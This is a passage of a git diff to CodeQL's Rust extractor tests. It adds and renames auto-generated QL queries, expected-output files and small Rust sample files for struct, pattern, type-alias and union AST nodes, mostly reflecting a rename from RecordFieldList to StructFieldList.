+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getDefault()
diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.ql
new file mode 100644
index 000000000000..a8078e8a34e7
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getName()
diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAssocItem.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAssocItem.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql
new file mode 100644
index 000000000000..27cd539c0bee
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getTypeRepr()
diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAttr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getVisibility.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAttr.expected
rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getVisibility.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getVisibility.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getVisibility.ql
new file mode 100644
index 000000000000..43ebca776569
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getVisibility.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getVisibility()
diff --git a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs
new file mode 100644
index 000000000000..562b5adc7721
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_field() -> () {
+    // A StructField. For example:
+    todo!()
+}
diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.expected
rename to rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql
new file mode 100644
index 000000000000..62725f6189b2
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.ql
@@ -0,0 +1,10 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructFieldList x, int getNumberOfFields
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfFields = x.getNumberOfFields()
+select x, "getNumberOfFields:", getNumberOfFields
diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.expected
rename to rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql
new file mode 100644
index 000000000000..f1c7d0b58dc6
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructFieldList x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getField(index)
diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs
new file mode 100644
index 000000000000..bdec77ecaaea
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_field_list() -> () {
+    // A field list of a struct expression. For example:
+    todo!()
+}
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat.expected b/rust/ql/test/extractor-tests/generated/StructPat/StructPat.expected
new file mode 100644
index 000000000000..976f45ab4cdc
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat.rs:6:9:6:26 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructPatFieldList: | yes |
+| gen_struct_pat.rs:7:9:7:18 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasStructPatFieldList: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat.ql b/rust/ql/test/extractor-tests/generated/StructPat/StructPat.ql
new file mode 100644
index 000000000000..9df81390d42f
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat.ql
@@ -0,0 +1,20 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from
+  StructPat x, string hasResolvedPath, string hasResolvedCrateOrigin, string hasPath,
+  string hasStructPatFieldList
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and
+  (
+    if x.hasResolvedCrateOrigin()
+    then hasResolvedCrateOrigin = "yes"
+    else hasResolvedCrateOrigin = "no"
+  ) and
+  (if x.hasPath() then hasPath = "yes" else hasPath = "no") and
+  if x.hasStructPatFieldList() then hasStructPatFieldList = "yes" else hasStructPatFieldList = "no"
+select x, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin,
+  "hasPath:", hasPath, "hasStructPatFieldList:", hasStructPatFieldList
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.expected b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.expected
new file mode 100644
index 000000000000..1430d89402af
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat.rs:6:9:6:26 | Foo {...} | gen_struct_pat.rs:6:9:6:11 | Foo |
+| gen_struct_pat.rs:7:9:7:18 | Foo {...} | gen_struct_pat.rs:7:9:7:11 | Foo |
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.ql b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.ql
new file mode 100644
index 000000000000..078813c2700a
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getPath.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPat x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getPath()
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getParamList.expected b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/Path/PathSegment_getParamList.expected
rename to rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql
new file mode 100644
index 000000000000..1fdff67b7350
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPat x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getResolvedCrateOrigin()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.expected b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.expected
rename to rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql
new file mode 100644
index 000000000000..f7a60efc20ee
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPat x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getResolvedPath()
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.expected
new file mode 100644
index 000000000000..33464196b165
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat.rs:6:9:6:26 | Foo {...} | gen_struct_pat.rs:6:13:6:26 | StructPatFieldList |
+| gen_struct_pat.rs:7:9:7:18 | Foo {...} | gen_struct_pat.rs:7:13:7:18 | StructPatFieldList |
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql
new file mode 100644
index 000000000000..1304a8e16f34
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPat x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getStructPatFieldList()
diff --git a/rust/ql/test/extractor-tests/generated/StructPat/gen_struct_pat.rs b/rust/ql/test/extractor-tests/generated/StructPat/gen_struct_pat.rs
new file mode 100644
index 000000000000..9abbb31997b2
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPat/gen_struct_pat.rs
@@ -0,0 +1,9 @@
+// generated by codegen, do not edit
+
+fn test_struct_pat() -> () {
+    // A struct pattern. For example:
+    match x {
+        Foo { a: 1, b: 2 } => "ok",
+        Foo { .. } => "fail",
+    }
+}
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected
new file mode 100644
index 000000000000..bb492dabd126
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasPat: | yes |
+| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasPat: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql
new file mode 100644
index 000000000000..a68d2b52614d
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql
@@ -0,0 +1,12 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatField x, int getNumberOfAttrs, string hasIdentifier, string hasPat
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfAttrs = x.getNumberOfAttrs() and
+  (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and
+  if x.hasPat() then hasPat = "yes" else hasPat = "no"
+select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasPat:", hasPat
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.expected
rename to rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql
new file mode 100644
index 000000000000..4dd2a726473f
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatField x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected
new file mode 100644
index 000000000000..b2f9c4967475
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | gen_struct_pat_field.rs:5:15:5:15 | a |
+| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | gen_struct_pat_field.rs:5:21:5:21 | b |
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql
new file mode 100644
index 000000000000..e03a98229b3d
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.expected b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.expected
new file mode 100644
index 000000000000..28e7c4313b09
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.expected
@@ -0,0 +1,2 @@
+| gen_struct_pat_field.rs:5:15:5:18 | a: 1 | gen_struct_pat_field.rs:5:18:5:18 | 1 |
+| gen_struct_pat_field.rs:5:21:5:24 | b: 2 | gen_struct_pat_field.rs:5:24:5:24 | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql
new file mode 100644
index 000000000000..4a8cbbd794bd
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatField x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getPat()
diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/gen_struct_pat_field.rs b/rust/ql/test/extractor-tests/generated/StructPatField/gen_struct_pat_field.rs
new file mode 100644
index 000000000000..b3a68dfe6ef8
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatField/gen_struct_pat_field.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_pat_field() -> () {
+    // A field in a struct pattern. For example `a: 1` in:
+    let Foo { a: 1, b: 2 } = foo;
+}
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.expected
rename to rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql
new file mode 100644
index 000000000000..051b28b07182
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql
@@ -0,0 +1,11 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatFieldList x, int getNumberOfFields, string hasRestPat
+where
+  toBeTested(x) and
+  not x.isUnknown() and
+  getNumberOfFields = x.getNumberOfFields() and
+  if x.hasRestPat() then hasRestPat = "yes" else hasRestPat = "no"
+select x, "getNumberOfFields:", getNumberOfFields, "hasRestPat:", hasRestPat
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.expected
rename to rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql
new file mode 100644
index 000000000000..65e6d34b0f8f
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatFieldList x, int index
+where toBeTested(x) and not x.isUnknown()
+select x, index, x.getField(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.expected
rename to rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.expected
diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.ql b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.ql
new file mode 100644
index 000000000000..6ba00441e92d
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from StructPatFieldList x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getRestPat()
diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs
new file mode 100644
index 000000000000..a424ca84d640
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs
@@ -0,0 +1,6 @@
+// generated by codegen, do not edit
+
+fn test_struct_pat_field_list() -> () {
+    // A StructPatFieldList. For example:
+    todo!()
+}
diff --git a/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected b/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected
index c7337ca090ae..a8b21eb84661 100644
--- a/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected
+++ b/rust/ql/test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.expected
@@ -1,3 +1,3 @@
-| gen_trait.rs:4:20:8:1 | AssocItemList | 0 | gen_trait.rs:5:3:5:18 | TypeAlias |
-| gen_trait.rs:4:20:8:1 | AssocItemList | 1 | gen_trait.rs:6:3:6:20 | TypeAlias |
+| gen_trait.rs:4:20:8:1 | AssocItemList | 0 | gen_trait.rs:5:3:5:18 | type Frobinator |
+| gen_trait.rs:4:20:8:1 | AssocItemList | 1 | gen_trait.rs:6:3:6:20 | type Result |
 | gen_trait.rs:4:20:8:1 | AssocItemList | 2 | gen_trait.rs:7:3:7:72 | fn frobinize_with |
diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait_getGenericParamList.expected
index 1ea7592a5973..ba9e996565f4 100644
--- a/rust/ql/test/extractor-tests/generated/Trait/Trait_getGenericParamList.expected
+++ b/rust/ql/test/extractor-tests/generated/Trait/Trait_getGenericParamList.expected
@@ -1 +1 @@
-| gen_trait.rs:10:1:10:57 | trait Foo | gen_trait.rs:10:14:10:30 | GenericParamList |
+| gen_trait.rs:10:1:10:57 | trait Foo | gen_trait.rs:10:14:10:30 | <...> |
diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected
index e69de29bb2d1..19ccc9349b1f 100644
--- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected
+++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected
@@ -0,0 +1,2 @@
+| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no |
+| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no |
diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected
index e69de29bb2d1..57aefa9327d3 100644
--- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected
+++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getName.expected
@@ -0,0 +1,2 @@
+| gen_type_alias.rs:4:5:5:26 | type Point | gen_type_alias.rs:5:10:5:14 | Point |
+| gen_type_alias.rs:8:9:8:20 | type Output | gen_type_alias.rs:8:14:8:19 | Output |
diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected
index e69de29bb2d1..a15078cc57d8 100644
--- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected
+++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getTypeRepr.expected
@@ -0,0 +1 @@
+| gen_type_alias.rs:4:5:5:26 | type Point | gen_type_alias.rs:5:18:5:25 | TupleTypeRepr |
diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs b/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs
index e7aedd9c1266..e602a9e10444 100644
--- a/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs
+++ b/rust/ql/test/extractor-tests/generated/TypeAlias/gen_type_alias.rs
@@ -1,6 +1,11 @@
 // generated by codegen, do not edit
 
 fn test_type_alias() -> () {
-    // A TypeAlias. For example:
-    todo!()
+    // A type alias. For example:
+    type Point = (u8, u8);
+    
+    trait Trait {
+        type Output;
+    //  ^^^^^^^^^^^
+    }
 }
diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getGenericParamList.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.ql b/rust/ql/test/extractor-tests/generated/Union/Union.ql
index 0f0e0872d9d9..a514017b7345 100644
--- a/rust/ql/test/extractor-tests/generated/Union/Union.ql
+++ b/rust/ql/test/extractor-tests/generated/Union/Union.ql
@@ -4,7 +4,7 @@ import TestUtils
 
 from
   Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs,
-  string hasGenericParamList, string hasName, string hasRecordFieldList, string hasVisibility,
+  string hasGenericParamList, string hasName, string hasStructFieldList, string hasVisibility,
   string hasWhereClause
 where
   toBeTested(x) and
@@ -18,10 +18,10 @@ where
   getNumberOfAttrs = x.getNumberOfAttrs() and
   (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and
   (if x.hasName() then hasName = "yes" else hasName = "no") and
-  (if x.hasRecordFieldList() then hasRecordFieldList = "yes" else hasRecordFieldList = "no") and
+  (if x.hasStructFieldList() then hasStructFieldList = "yes" else hasStructFieldList = "no") and
   (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and
   if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no"
 select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin,
   "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:",
-  hasName, "hasRecordFieldList:", hasRecordFieldList, "hasVisibility:", hasVisibility,
+  hasName, "hasStructFieldList:", hasStructFieldList, "hasVisibility:", hasVisibility,
   "hasWhereClause:", hasWhereClause
diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.ql b/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.ql
deleted file mode 100644
index 3248a16d2861..000000000000
--- a/rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from Union x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getRecordFieldList()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.expected
rename to rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected
diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.ql b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.ql
new file mode 100644
index 000000000000..2afeaa6c3f17
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from Union x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getStructFieldList()
diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected
index 74145411e3d0..ac5d1b772957 100644
--- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected
+++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected
@@ -1,7 +1,7 @@
-| gen_use_tree.rs:5:9:5:33 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
-| gen_use_tree.rs:6:9:6:27 | UseTree | isGlob: | yes | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
-| gen_use_tree.rs:7:9:7:46 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | yes | hasUseTreeList: | no |
-| gen_use_tree.rs:8:9:8:50 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | yes |
-| gen_use_tree.rs:8:28:8:31 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
-| gen_use_tree.rs:8:34:8:40 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
-| gen_use_tree.rs:8:43:8:49 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
+| gen_use_tree.rs:5:9:5:33 | ...::HashMap | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
+| gen_use_tree.rs:6:9:6:27 | ...::collections::* | isGlob: | yes | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
+| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | isGlob: | no | hasPath: | yes | hasRename: | yes | hasUseTreeList: | no |
+| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | yes |
+| gen_use_tree.rs:8:28:8:31 | self | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
